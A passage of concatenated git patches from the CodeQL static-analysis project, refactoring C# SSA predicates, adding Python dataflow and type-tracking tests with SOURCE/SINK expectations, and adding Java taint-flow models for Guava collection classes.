= bb2.getNode(i2) ) @@ -1195,7 +1154,7 @@ private module Cached { Definition def, ControlFlow::BasicBlock bb1, int i1, ControlFlow::BasicBlock bb2, int i2 ) { adjacentDefReaches(def, bb1, i1, bb2, i2) and - variableRead(bb2, i2, _, any(ReadKind rk | rk.isPseudo())) + variableReadPseudo(bb2, i2, _) } private predicate reachesLastRefRedef( @@ -1212,7 +1171,7 @@ private module Cached { cached predicate lastRefBeforeRedef(Definition def, ControlFlow::BasicBlock bb, int i, Definition next) { reachesLastRefRedef(def, bb, i, next) and - not variableRead(bb, i, def.getSourceVariable(), any(ReadKind rk | rk.isPseudo())) + not variableReadPseudo(bb, i, def.getSourceVariable()) } private predicate reachesLastRef(Definition def, ControlFlow::BasicBlock bb, int i) { @@ -1228,7 +1187,7 @@ private module Cached { predicate lastReadSameVar(Definition def, ControlFlow::Node cfn) { exists(ControlFlow::BasicBlock bb, int i | reachesLastRef(def, bb, i) and - variableRead(bb, i, _, ActualRead()) and + variableReadActual(bb, i, _) and cfn = bb.getNode(i) ) } diff --git a/csharp/ql/src/semmle/code/csharp/dataflow/internal/SsaImplSpecific.qll b/csharp/ql/src/semmle/code/csharp/dataflow/internal/SsaImplSpecific.qll index 3c18ad905c7..c99ad7d8fb3 100644 --- a/csharp/ql/src/semmle/code/csharp/dataflow/internal/SsaImplSpecific.qll +++ b/csharp/ql/src/semmle/code/csharp/dataflow/internal/SsaImplSpecific.qll @@ -16,6 +16,4 @@ class SourceVariable = SsaImpl::TSourceVariable; predicate variableWrite = SsaImpl::variableWrite/4; -predicate variableRead(BasicBlock bb, int i, SourceVariable v) { - SsaImpl::variableRead(bb, i, v, _) -} +predicate variableRead = SsaImpl::variableRead/3; From 4ff2c6d85aed6bc5ca34901c8b6e291634240253 Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen <yoff@github.com> Date: Mon, 25 Jan 2021 16:49:51 +0100 Subject: [PATCH 0805/1241] Python: fix test expectation probably a copy-paste error.. --- python/ql/test/experimental/dataflow/coverage/test.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/python/ql/test/experimental/dataflow/coverage/test.py b/python/ql/test/experimental/dataflow/coverage/test.py index 0b43a8119ac..5f4874fc0d2 100644 --- a/python/ql/test/experimental/dataflow/coverage/test.py +++ b/python/ql/test/experimental/dataflow/coverage/test.py @@ -564,7 +564,7 @@ def test_iterated_unpacking_assignment(): SINK_F(c) #$ SPURIOUS: flow="SOURCE, l:-5 -> c" # We do not track tuple sizes -@expects(4) +@expects(3) def test_iterated_unpacking_assignment_shrink(): t = (SOURCE, SOURCE) a, *b, c = t From 361bee851a3d748bb3e34c11a2f64a47aac05726 Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen <yoff@github.com> Date: Sun, 24 Jan 2021 23:04:35 +0100 Subject: [PATCH 0806/1241] Python: Tests inspired by reverse read check --- .../experimental/dataflow/coverage/test.py | 32 +++++++++++++++++++ 1 file changed, 32 insertions(+) diff --git a/python/ql/test/experimental/dataflow/coverage/test.py b/python/ql/test/experimental/dataflow/coverage/test.py index 9b55a7c02d7..2510cc93a4b 100644 --- a/python/ql/test/experimental/dataflow/coverage/test.py +++ b/python/ql/test/experimental/dataflow/coverage/test.py @@ -591,3 +591,35 @@ def return_from_inner_scope(x): def test_return_from_inner_scope(): SINK(return_from_inner_scope([])) #$ flow="SOURCE, l:-3 -> return_from_inner_scope(..)" + + +# Inspired by reverse read inconsistency check +def insertAtA(d): + d["a"] = SOURCE + +def test_reverse_read_subscript(): + d = {"a": NONSOURCE} + l = [d] + insertAtA(l[0]) + SINK(d["a"]) #$ MISSING:flow="SOURCE, l-6 -> d['a']"" + +def test_reverse_read_dict_arg(): + d = {"a": NONSOURCE} + dd = {"d": d} + insertAtA(**dd) + SINK(d["a"]) #$ MISSING:flow="SOURCE, l-12 -> d['a']"" + + +class WithA: + def setA(self, v): + self.a = v + + def __init__(self): + self.a = "" + + +def test_reverse_read_subscript_cls(): + withA = WithA() + l = [withA] + l[0].setA(SOURCE) + SINK(withA.a) #$ MISSING:flow="SOURCE, l:-1 -> self.a" From ad39bfb2ff5c9b4945527d9b26ceb370ac963cf6 Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen <yoff@github.com> Date: Sun, 24 Jan 2021 16:17:34 +0100 Subject: [PATCH 0807/1241] Python: Add postupdate nodes for subscripts. This drops reverse read inconsistencies on saltstack from 14909 to 1353. --- .../src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll | 2 ++ .../ql/test/experimental/dataflow/coverage/localFlow.expected | 1 + 2 files changed, 3 insertions(+) diff --git a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll index 570c0396037..b36b897d68f 100644 --- a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll +++ b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll @@ -76,6 +76,8 @@ class ReadPreUpdateNode extends NeedsSyntheticPostUpdateNode, CfgNode { node = a.getObject().getAFlowNode() and a.getCtx() instanceof Load ) + or + exists(SubscriptNode s | node = s.getObject()) } override string label() { result = "read" } diff --git a/python/ql/test/experimental/dataflow/coverage/localFlow.expected b/python/ql/test/experimental/dataflow/coverage/localFlow.expected index f604e3d7b18..30b25979df3 100644 --- a/python/ql/test/experimental/dataflow/coverage/localFlow.expected +++ b/python/ql/test/experimental/dataflow/coverage/localFlow.expected @@ -8,6 +8,7 @@ | test.py:187:1:187:53 | GSSA Variable SINK | test.py:189:5:189:8 | ControlFlowNode for SINK | | test.py:187:1:187:53 | GSSA Variable SOURCE | test.py:188:25:188:30 | ControlFlowNode for SOURCE | | test.py:188:5:188:5 | SSA variable x | test.py:189:10:189:10 | ControlFlowNode for x | +| test.py:188:9:188:68 | ControlFlowNode for .0 | test.py:188:9:188:68 | SSA variable .0 | | test.py:188:9:188:68 | ControlFlowNode for ListComp | test.py:188:5:188:5 | SSA variable x | | test.py:188:9:188:68 | SSA variable .0 | test.py:188:9:188:68 | ControlFlowNode for .0 | | test.py:188:16:188:16 | SSA variable v | test.py:188:45:188:45 | ControlFlowNode for v | From a8186be2fa47b649e3b37c7a86bbc692612baa04 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen <rasmuswl@github.com> Date: Mon, 25 Jan 2021 17:19:08 +0100 Subject: [PATCH 0808/1241] Python: Add test of type-tracking self in methods --- .../dataflow/typetracking/test.py | 32 +++++++++++++++++++ .../dataflow/typetracking/tracked.ql | 29 +++++++++++++++++ 2 files changed, 61 insertions(+) diff --git a/python/ql/test/experimental/dataflow/typetracking/test.py b/python/ql/test/experimental/dataflow/typetracking/test.py index 432518327f5..b03a2e6912d 100644 --- a/python/ql/test/experimental/dataflow/typetracking/test.py +++ b/python/ql/test/experimental/dataflow/typetracking/test.py @@ -69,3 +69,35 @@ def redefine_test(): expects_int(x) # $int x = str("Hello") # $str expects_string(x) # $str + +# ------------------------------------------------------------------------------ +# Tracking of self in methods +# ------------------------------------------------------------------------------ + +class Foo(object): + + def meth1(self): + do_stuff(self) + + def meth2(self): # $ MISSING: tracked_self + do_stuff(self) # $ MISSING: tracked_self + + def meth3(self): # $ MISSING: tracked_self + do_stuff(self) # $ MISSING: tracked_self + + +class Bar(Foo): + + def meth1(self): # $ tracked_self + do_stuff(self) # $ tracked_self + + def meth2(self): + do_stuff(self) + + def meth3(self): + do_stuff(self) + + def track_self(self): # $ tracked_self + self.meth1() # $ tracked_self + super().meth2() + super(Bar, self).foo3() # $ tracked_self diff --git a/python/ql/test/experimental/dataflow/typetracking/tracked.ql b/python/ql/test/experimental/dataflow/typetracking/tracked.ql index b145dd8f73f..4ce35a2d265 100644 --- a/python/ql/test/experimental/dataflow/typetracking/tracked.ql +++ b/python/ql/test/experimental/dataflow/typetracking/tracked.ql @@ -73,3 +73,32 @@ class TrackedStringTest extends InlineExpectationsTest { ) } } + +DataFlow::Node tracked_self(TypeTracker t) { + t.start() and + exists(Function f | + f.isMethod() and + f.getName() = "track_self" and + result.(DataFlow::ParameterNode).getParameter() = f.getArg(0) + ) + or + exists(TypeTracker t2 | result = tracked_self(t2).track(t2, t)) +} + +class TrackedSelfTest extends InlineExpectationsTest { + TrackedSelfTest() { this = "TrackedSelfTest" } + + override string getARelevantTag() { result = "tracked_self" } + + override predicate hasActualResult(Location location, string element, string tag, string value) { + exists(DataFlow::Node e, TypeTracker t | + e = tracked_self(t) and + // Module variables have no sensible location, and hence can't be annotated. + not e instanceof DataFlow::ModuleVariableNode and + tag = "tracked_self" and + location = e.getLocation() and + value = t.getAttr() and + element = e.toString() + ) + } +} From 96b7f7590587a6c04d474ef9750148cc3f36163f Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen <yoff@github.com> Date: Mon, 25 Jan 2021 17:34:49 +0100 Subject: [PATCH 0809/1241] Python: add postupdate nodes for kwargs drops remaining reverse read failures on saltstack. --- .../semmle/python/dataflow/new/internal/DataFlowPrivate.qll | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll index b36b897d68f..3dd31f4b97a 100644 --- a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll +++ b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll @@ -77,7 +77,9 @@ class ReadPreUpdateNode extends NeedsSyntheticPostUpdateNode, CfgNode { a.getCtx() instanceof Load ) or - exists(SubscriptNode s | node = s.getObject()) + node = any(SubscriptNode s).getObject() + or + node.getNode() = any(Call call).getKwargs() } override string label() { result = "read" } From d1427fcd939eca75254fc738caa19c7fbd46c531 Mon Sep 17 00:00:00 2001 From: Joe Farebrother <joefarebrother@github.com> Date: Thu, 5 Nov 2020 16:53:38 +0000 Subject: [PATCH 0810/1241] Java: Add modelling for Guava's collection classes --- .../java/frameworks/guava/Collections.qll | 259 ++++++++++++++++++ .../code/java/frameworks/guava/Guava.qll | 1 + 2 files changed, 260 insertions(+) create mode 100644 java/ql/src/semmle/code/java/frameworks/guava/Collections.qll diff --git a/java/ql/src/semmle/code/java/frameworks/guava/Collections.qll b/java/ql/src/semmle/code/java/frameworks/guava/Collections.qll new file mode 100644 index 00000000000..981ba64822b --- /dev/null +++ b/java/ql/src/semmle/code/java/frameworks/guava/Collections.qll @@ -0,0 +1,259 @@ +/** Defenitions of flow steps through the collection types in the Guava framework */ + +import java +private import semmle.code.java.dataflow.FlowSteps +private import semmle.code.java.Collections + +private string guavaCollectPackage() { result = "com.google.common.collect" } + +/** A reference types that extends a parameterization of one of the various immutable container types. */ +private class ImmutableContainerType extends RefType { + string kind; + + ImmutableContainerType() { + this.getASourceSupertype().hasQualifiedName(guavaCollectPackage(), kind) and + kind = ["ImmutableCollection", "ImmutableMap", "ImmutableMultimap", "ImmutableTable"] + } + + /** + * Gets the name of the most general superclass of this type + * from among `ImmutableCollection`, `ImmutableMap`, `ImmutableMultimap`, and `ImmutableTable`. + */ + string getKind() { result = kind } +} + +/** A nested `Builder` class of one of the various immutable container classes */ +private class CollectionBuilder extends NestedType { + CollectionBuilder() { + this.hasName("Builder") and + this.getEnclosingType() instanceof ImmutableContainerType + } +} + +private class BuilderBuildMethod extends TaintPreservingCallable { + BuilderBuildMethod() { + this.getDeclaringType().getASourceSupertype*() instanceof CollectionBuilder and + // abstract ImmutableCollection<E> build() + // similar for other builder types + this.hasName("build") + } + + override predicate returnsTaintFrom(int arg) { arg = -1 } +} + +/** A method on a `Builder` class that adds elements to the container being built */ +private class BuilderAddMethod extends TaintPreservingCallable { + int argument; + + BuilderAddMethod() { + this.getDeclaringType().getASourceSupertype*() instanceof CollectionBuilder and + // @CanIgnoreReturnValue abstract ImmutableCollection.Builder<E> add(E element) + // @CanIgnoreReturnValue ImmutableCollection.Builder<E> add(E... elements) + // @CanIgnoreReturnValue ImmutableCollection.Builder<E> addAll(Iterable<? extends E> elements) + // @CanIgnoreReturnValue ImmutableCollection.Builder<E> addAll(Iterator<? extends E> elements) + // @CanIgnoreReturnValue ImmutableMultiset.Builder<E> addCopies(E element, int occurrences) + // @CanIgnoreReturnValue ImmutableMultiset.Builder<E> setCount(E element, int count) + this.hasName(["add", "addAll", "addCopies", "setCount"]) and + argument = 0 + or + // @CanIgnoreReturnValue ImmutableMap.Builder<K,V> put(K key, V value) + // @CanIgnoreReturnValue ImmutableMap.Builder<K,V> put(Map.Entry<? extends K,? extends V> entry) + // @CanIgnoreReturnValue ImmutableMap.Builder<K,V> putAll(Map<? extends K,? extends V> map) + // @CanIgnoreReturnValue ImmutableMap.Builder<K,V> putAll(Iterable<? extends Map.Entry<? extends K,? extends V>> entries) + // @CanIgnoreReturnValue ImmutableMultimap.Builder<K,V> put(K key, V value) + // @CanIgnoreReturnValue ImmutableMultimap.Builder<K,V> put(Map.Entry<? extends K,? extends V> entry) + // @CanIgnoreReturnValue ImmutableMultimap.Builder<K,V> putAll(Iterable<? extends Map.Entry<? extends K,? extends V>> entries) + // @CanIgnoreReturnValue ImmutableMultimap.Builder<K,V> putAll(K key, Iterable<? extends V> values) + // @CanIgnoreReturnValue ImmutableMultimap.Builder<K,V> putAll(K key, V... values) + // @CanIgnoreReturnValue ImmutableMultimap.Builder<K,V> putAll(Multimap<? extends K,? extends V> multimap) + // @CanIgnoreReturnValue ImmutableTable.Builder<R,C,V> put(R rowKey, C columnKey, V value) + // @CanIgnoreReturnValue ImmutableTable.Builder<R,C,V> put(Table.Cell<? extends R,? extends C,? extends V> cell) + // @CanIgnoreReturnValue ImmutableTable.Builder<R,C,V> putAll(Table<? extends R,? extends C,? extends V> table) + this.hasName(["put", "putAll"]) and + argument = getNumberOfParameters() - 1 + } + + override predicate returnsTaintFrom(int arg) { arg = [-1, argument] } + + override predicate transfersTaint(int src, int sink) { src = argument and sink = -1 } +} + +/** + * A reference type that extends a parameterization of `com.google.common.collect.Multimap`. + */ +class MultimapType extends RefType { + MultimapType() { this.getASourceSupertype*().hasQualifiedName(guavaCollectPackage(), "Multimap") } + + /** Gets the type of keys stored in this map. */ + RefType getKeyType() { + exists(GenericInterface map | map.hasQualifiedName(guavaCollectPackage(), "Multimap") | + indirectlyInstantiates(this, map, 0, result) + ) + } + + /** Gets the type of values stored in this map. */ + RefType getValueType() { + exists(GenericInterface map | map.hasQualifiedName(guavaCollectPackage(), "Multimap") | + indirectlyInstantiates(this, map, 1, result) + ) + } +} + +private class MultimapWriteMethod extends TaintPreservingCallable { + MultimapWriteMethod() { + this.getDeclaringType() instanceof MultimapType and + // @CanIgnoreReturnValue boolean put(@Nullable K key, @Nullable V value) + // @CanIgnoreReturnValue boolean putAll(@Nullable K key, Iterable<? extends V> values) + // @CanIgnoreReturnValue boolean putAll(Multimap<? extends K,? extends V> multimap) + // @CanIgnoreReturnValue Collection<V> replaceValues(@Nullable K key, Iterable<? extends V> values) + this.hasName(["put", "putAll", "replaceValues"]) + } + + override predicate transfersTaint(int src, int sink) { + src = getNumberOfParameters() - 1 and + sink = -1 + } +} + +private class MultimapReadMethod extends TaintPreservingCallable { + MultimapReadMethod() { + this.getDeclaringType() instanceof MultimapType and + // @CanIgnoreReturnValue Collection<V> replaceValues(@Nullable K key, Iterable<? extends V> values) + // @CanIgnoreReturnValue Collection<V> removeAll(@CompatibleWith("K") @Nullable Object key) + // Collection<V> get(@Nullable K key) + // Collection<V> values() + // Collection<Map.Entry<K,V>> entries() + // Map<K,Collection<V>> asMap() + this.hasName(["replaceValues", "removeAll", "get", "values", "entries", "asMap"]) + } + + override predicate returnsTaintFrom(int arg) { arg = -1 } + // Not implemented: Some of these methods return "views", which when modified will modify the map itself. + // However, taint flow from these views to the map is not implemented. +} + +/** + * A reference type that extends a parameterization of `com.google.common.collect.Table`. + */ +class TableType extends RefType { + TableType() { this.getASourceSupertype*().hasQualifiedName(guavaCollectPackage(), "Table") } + + /** Gets the type of row keys stored in this table. */ + RefType getRowType() { + exists(GenericInterface table | table.hasQualifiedName(guavaCollectPackage(), "Table") | + indirectlyInstantiates(this, table, 0, result) + ) + } + + /** Gets the type of row keys stored in this table. */ + RefType getColumnType() { + exists(GenericInterface table | table.hasQualifiedName(guavaCollectPackage(), "Table") | + indirectlyInstantiates(this, table, 1, result) + ) + } + + /** Gets the type of values stored in this table. */ + RefType getValueType() { + exists(GenericInterface table | table.hasQualifiedName(guavaCollectPackage(), "Table") | + indirectlyInstantiates(this, table, 2, result) + ) + } +} + +private class TableWriteMethod extends TaintPreservingCallable { + TableWriteMethod() { + this.getDeclaringType() instanceof TableType and + // @CanIgnoreReturnValue @Nullable V put(R rowKey, C columnKey, V value) + // void putAll(Table<? extends R,? extends C,? extends V> table) + this.hasName(["put", "putAll"]) + } + + override predicate transfersTaint(int src, int sink) { + src = getNumberOfParameters() - 1 and + sink = -1 + } +} + +private class TableReadMethod extends TaintPreservingCallable { + TableReadMethod() { + this.getDeclaringType() instanceof TableType and + // @CanIgnoreReturnValue @Nullable V put(R rowKey, C columnKey, V value) + // @CanIgnoreReturnValue @Nullable V remove(@CompatibleWith("R") @Nullable Object rowKey, @CompatibleWith("C") @Nullable Object columnKey) + // @Nullable V get(@CompatibleWith("R") @Nullable Object rowKey, @CompatibleWith("C") @Nullable Object columnKey) + // Map<C,V> row(R rowKey) + // Map<R,V> column(C columnKey) + // Set<Table.Cell<R,C,V>> cellSet() + // Collection<V> values() + // Map<R,Map<C,V>> rowMap() + // Map<C,Map<R,V>> columnMap() + this + .hasName(["put", "remove", "get", "row", "column", "cellSet", "values", "rowMap", + "columnMap"]) + } + + override predicate returnsTaintFrom(int arg) { arg = -1 } + // Not implemented: Some of these methods return "views", which when modified will modify the table itself. + // However, taint flow from these views to the table is not implemented. +} + +private class TableCellReadMethod extends TaintPreservingCallable { + TableCellReadMethod() { + exists(NestedType cell | + cell.getEnclosingType() instanceof TableType and + cell.hasName("Cell") and + this.getDeclaringType().getASourceSupertype*() = cell and + // @Nullable V getValue() + this.hasName("getValue") + ) + } + + override predicate returnsTaintFrom(int arg) { arg = -1 } +} + +/** + * An `of` static method on the various immutable collection types. + */ +private class OfMethod extends TaintPreservingCallable { + string kind; + + OfMethod() { + this.getDeclaringType().(ImmutableContainerType).getKind() = kind and + // static <E> ImmutableList<E> of(E e1, E e2, E e3, E e4, E e5, E e6) + // static <K,V> ImmutableMap<K,V> of(K k1, V v1, K k2, V v2, K k3, V v3, K k4, V v4) + // static <K,V> ImmutableMultimap<K,V> of(K k1, V v1, K k2, V v2, K k3, V v3, K k4, V v4) + // static <R,C,V> ImmutableTable<R,C,V> of(R rowKey, C columnKey, V value) + // etc for other types and numbers of parameters + this.hasName("of") and + this.isStatic() + } + + override predicate returnsTaintFrom(int arg) { + arg = [0 .. getNumberOfParameters()] and + (kind.matches("%Map") implies arg % 2 = 1) and + (kind = "ImmutableTable" implies arg % 3 = 2) + } +} + +/** + * A `copyOf` or `sortedCopyOf` static method on the varios immutable collection types. + */ +private class CopyOfMethod extends TaintPreservingCallable { + CopyOfMethod() { + this.getDeclaringType() instanceof ImmutableContainerType and + // static <E> ImmutableList<E> copyOf(E[] elements) + // static <E> ImmutableList<E> copyOf(Iterable<? extends E> elements) + // static <E> ImmutableList<E> copyOf(Collection<? extends E> elements) + // static <E> ImmutableList<E> copyOf(Iterator<? extends E> elements) + // static <E extends Comparable<? super E>> ImmutableList<E> sortedCopyOf(Iterable<? extends E> elements) + // static <E> ImmutableList<E> sortedCopyOf(Comparator<? super E> comparator, Iterable<? extends E> elements) + // static <K,V> ImmutableMap<K,V> copyOf(Map<? extends K,? extends V> map) + // static <K,V> ImmutableMap<K,V> copyOf(Iterable<? extends Map.Entry<? extends K,? extends V>> entries) + // static <K,V> ImmutableMultimap<K,V> copyOf(Multimap<? extends K,? extends V> multimap) + // static <K,V> ImmutableMultimap<K,V> copyOf(Iterable<? extends Map.Entry<? extends K,? extends V>> entries) + // static <R,C,V> ImmutableTable<R,C,V> copyOf (Table<? extends R,? extends C,? extends V> table) + this.hasName(["copyOf", "sortedCopyOf"]) and + this.isStatic() + } + + override predicate returnsTaintFrom(int arg) { arg = getNumberOfParameters() - 1 } +} diff --git a/java/ql/src/semmle/code/java/frameworks/guava/Guava.qll b/java/ql/src/semmle/code/java/frameworks/guava/Guava.qll index 7278ff0277d..547a920d749 100644 --- a/java/ql/src/semmle/code/java/frameworks/guava/Guava.qll +++ b/java/ql/src/semmle/code/java/frameworks/guava/Guava.qll @@ -4,3 +4,4 @@ import java import StringUtils +import Collections From 7e11d8ed078db10e0c40737db04b36b315566f9e Mon Sep 17 00:00:00 2001 From: Joe Farebrother <joefarebrother@github.com> Date: Thu, 3 Dec 2020 15:49:13 +0000 Subject: [PATCH 0811/1241] Java: Add modelling for guava `Sets` --- .../java/frameworks/guava/Collections.qll | 51 ++++++++++++++++++- 1 file changed, 49 insertions(+), 2 deletions(-) diff --git a/java/ql/src/semmle/code/java/frameworks/guava/Collections.qll b/java/ql/src/semmle/code/java/frameworks/guava/Collections.qll index 981ba64822b..7b4d1728b57 100644 --- a/java/ql/src/semmle/code/java/frameworks/guava/Collections.qll +++ b/java/ql/src/semmle/code/java/frameworks/guava/Collections.qll @@ -187,8 +187,9 @@ private class TableReadMethod extends TaintPreservingCallable { // Map<R,Map<C,V>> rowMap() // Map<C,Map<R,V>> columnMap() this - .hasName(["put", "remove", "get", "row", "column", "cellSet", "values", "rowMap", - "columnMap"]) + .hasName([ + "put", "remove", "get", "row", "column", "cellSet", "values", "rowMap", "columnMap" + ]) } override predicate returnsTaintFrom(int arg) { arg = -1 } @@ -257,3 +258,49 @@ private class CopyOfMethod extends TaintPreservingCallable { override predicate returnsTaintFrom(int arg) { arg = getNumberOfParameters() - 1 } } + +/** + * A taint-preserving static method of `com.google.common.collect.Sets`. + */ +private class SetsMethod extends TaintPreservingCallable { + int arg; + + SetsMethod() { + this.getDeclaringType().hasQualifiedName(guavaCollectPackage(), "Sets") and + this.isStatic() and + ( + // static <E> HashSet<E> newHashSet(E... elements) + // static <E> Set<E> newConcurrentHashSet(Iterable<? extends E> elements) + // static <E> CopyOnWriteArraySet<E> newCopyOnWriteArraySet(Iterable<? extends E> elements) + // static <E extends Enum<E>>EnumSet<E> newEnumSet(Iterable<E> iterable, Class<E> elementType) + // etc + this.getName().matches("new%Set") and + arg = 0 + or + // static <B> Set<List<B>> cartesianProduct(List<? extends Set<? extends B>> sets) + // static <B> Set<List<B>> cartesianProduct(Set<? extends B>... sets) + // static <E> Set<Set<E>> combinations(Set<E> set, int size) + // static <E> Sets.SetView<E> difference(Set<E> set1, Set<?> set2) + // static <E> NavigableSet<E> filter(NavigableSet<E> unfiltered, Predicate<? super E> predicate) + // static <E> Set<E> filter(Set<E> unfiltered, Predicate<? super E> predicate) + // static <E> SortedSet<E> filter(SortedSet<E> unfiltered, Predicate<? super E> predicate) + // static <E> Set<Set<E>> powerSet(Set<E> set) + // static <K extends Comparable<? super K>> NavigableSet<K> + // static <E> NavigableSet<E> synchronizedNavigableSet(NavigableSet<E> navigableSet) + // static <E> NavigableSet<E> unmodifiableNavigableSet(NavigableSet<E> set) + this + .hasName([ + "cartesianProduct", "combinations", "difference", "filter", "powerSet", "subSet", + "synchronizedNavigableSet", "unmodifyableNavigableSet" + ]) and + arg = 0 + or + // static <E> Sets.SetView<E> symmetricDifference(Set<? extends E> set1, Set<? extends E> set2) + // static <E> Sets.SetView<E> union(Set<? extends E> set1, Set<? extends E> set2) + this.hasName(["symmetricDifference", "union"]) and + arg = [0, 1] + ) + } + + override predicate returnsTaintFrom(int arg_) { arg_ = arg } +} From d69ecde5c13c26e04d08d880616a4d13126e7c9b Mon Sep 17 00:00:00 2001 From: Joe Farebrother <joefarebrother@github.com> Date: Tue, 8 Dec 2020 15:44:59 +0000 Subject: [PATCH 0812/1241] Java: Add additional flow steps for guava collection methods and more unit tests --- .../java/frameworks/guava/Collections.qll | 182 ++++++++++++------ .../frameworks/guava/TestCollect.java | 122 ++++++++++++ .../guava/{Test.java => TestStrings.java} | 2 +- .../frameworks/guava/flow.expected | 69 +++++-- .../com/google/common/base/Splitter.java | 2 +- .../common/collect/AbstractMultimap.java | 90 +++++++++ .../google/common/collect/AbstractTable.java | 90 +++++++++ .../common/collect/ImmutableCollection.java | 50 +++++ .../google/common/collect/ImmutableList.java | 101 ++++++++++ .../google/common/collect/ImmutableMap.java | 149 ++++++++++++++ .../common/collect/ImmutableMultimap.java | 128 ++++++++++++ .../common/collect/ImmutableMultiset.java | 125 ++++++++++++ .../google/common/collect/ImmutableSet.java | 86 +++++++++ .../common/collect/ImmutableSortedMap.java | 105 ++++++++++ .../common/collect/ImmutableSortedSet.java | 111 +++++++++++ .../google/common/collect/ImmutableTable.java | 124 ++++++++++++ .../com/google/common/collect/Multimap.java | 65 +++++++ .../com/google/common/collect/Multiset.java | 49 +++++ .../com/google/common/collect/Sets.java | 93 +++++++++ .../com/google/common/collect/Table.java | 69 +++++++ 20 files changed, 1729 insertions(+), 83 deletions(-) create mode 100644 java/ql/test/library-tests/frameworks/guava/TestCollect.java rename java/ql/test/library-tests/frameworks/guava/{Test.java => TestStrings.java} (98%) create mode 100644 java/ql/test/stubs/guava-30.0/com/google/common/collect/AbstractMultimap.java create mode 100644 java/ql/test/stubs/guava-30.0/com/google/common/collect/AbstractTable.java create mode 100644 java/ql/test/stubs/guava-30.0/com/google/common/collect/ImmutableCollection.java create mode 100644 java/ql/test/stubs/guava-30.0/com/google/common/collect/ImmutableList.java create mode 100644 java/ql/test/stubs/guava-30.0/com/google/common/collect/ImmutableMap.java create mode 100644 java/ql/test/stubs/guava-30.0/com/google/common/collect/ImmutableMultimap.java create mode 100644 java/ql/test/stubs/guava-30.0/com/google/common/collect/ImmutableMultiset.java create mode 100644 java/ql/test/stubs/guava-30.0/com/google/common/collect/ImmutableSet.java create mode 100644 java/ql/test/stubs/guava-30.0/com/google/common/collect/ImmutableSortedMap.java create mode 100644 java/ql/test/stubs/guava-30.0/com/google/common/collect/ImmutableSortedSet.java create mode 100644 java/ql/test/stubs/guava-30.0/com/google/common/collect/ImmutableTable.java create mode 100644 java/ql/test/stubs/guava-30.0/com/google/common/collect/Multimap.java create mode 100644 java/ql/test/stubs/guava-30.0/com/google/common/collect/Multiset.java create mode 100644 java/ql/test/stubs/guava-30.0/com/google/common/collect/Sets.java create mode 100644 java/ql/test/stubs/guava-30.0/com/google/common/collect/Table.java diff --git a/java/ql/src/semmle/code/java/frameworks/guava/Collections.qll b/java/ql/src/semmle/code/java/frameworks/guava/Collections.qll index 7b4d1728b57..58558b2ffc0 100644 --- a/java/ql/src/semmle/code/java/frameworks/guava/Collections.qll +++ b/java/ql/src/semmle/code/java/frameworks/guava/Collections.qll @@ -1,17 +1,18 @@ -/** Defenitions of flow steps through the collection types in the Guava framework */ +/** Definitions of flow steps through the collection types in the Guava framework */ import java +private import semmle.code.java.dataflow.DataFlow private import semmle.code.java.dataflow.FlowSteps private import semmle.code.java.Collections private string guavaCollectPackage() { result = "com.google.common.collect" } -/** A reference types that extends a parameterization of one of the various immutable container types. */ +/** A reference type that extends a parameterization of one of the various immutable container types. */ private class ImmutableContainerType extends RefType { string kind; ImmutableContainerType() { - this.getASourceSupertype().hasQualifiedName(guavaCollectPackage(), kind) and + this.getSourceDeclaration().getASourceSupertype*().hasQualifiedName(guavaCollectPackage(), kind) and kind = ["ImmutableCollection", "ImmutableMap", "ImmutableMultimap", "ImmutableTable"] } @@ -23,8 +24,8 @@ private class ImmutableContainerType extends RefType { } /** A nested `Builder` class of one of the various immutable container classes */ -private class CollectionBuilder extends NestedType { - CollectionBuilder() { +private class ContainerBuilder extends NestedType { + ContainerBuilder() { this.hasName("Builder") and this.getEnclosingType() instanceof ImmutableContainerType } @@ -32,7 +33,7 @@ private class CollectionBuilder extends NestedType { private class BuilderBuildMethod extends TaintPreservingCallable { BuilderBuildMethod() { - this.getDeclaringType().getASourceSupertype*() instanceof CollectionBuilder and + this.getDeclaringType().getASourceSupertype*() instanceof ContainerBuilder and // abstract ImmutableCollection<E> build() // similar for other builder types this.hasName("build") @@ -46,31 +47,33 @@ private class BuilderAddMethod extends TaintPreservingCallable { int argument; BuilderAddMethod() { - this.getDeclaringType().getASourceSupertype*() instanceof CollectionBuilder and - // @CanIgnoreReturnValue abstract ImmutableCollection.Builder<E> add(E element) - // @CanIgnoreReturnValue ImmutableCollection.Builder<E> add(E... elements) - // @CanIgnoreReturnValue ImmutableCollection.Builder<E> addAll(Iterable<? extends E> elements) - // @CanIgnoreReturnValue ImmutableCollection.Builder<E> addAll(Iterator<? extends E> elements) - // @CanIgnoreReturnValue ImmutableMultiset.Builder<E> addCopies(E element, int occurrences) - // @CanIgnoreReturnValue ImmutableMultiset.Builder<E> setCount(E element, int count) - this.hasName(["add", "addAll", "addCopies", "setCount"]) and - argument = 0 - or - // @CanIgnoreReturnValue ImmutableMap.Builder<K,V> put(K key, V value) - // @CanIgnoreReturnValue ImmutableMap.Builder<K,V> put(Map.Entry<? extends K,? extends V> entry) - // @CanIgnoreReturnValue ImmutableMap.Builder<K,V> putAll(Map<? extends K,? extends V> map) - // @CanIgnoreReturnValue ImmutableMap.Builder<K,V> putAll(Iterable<? extends Map.Entry<? extends K,? extends V>> entries) - // @CanIgnoreReturnValue ImmutableMultimap.Builder<K,V> put(K key, V value) - // @CanIgnoreReturnValue ImmutableMultimap.Builder<K,V> put(Map.Entry<? extends K,? extends V> entry) - // @CanIgnoreReturnValue ImmutableMultimap.Builder<K,V> putAll(Iterable<? extends 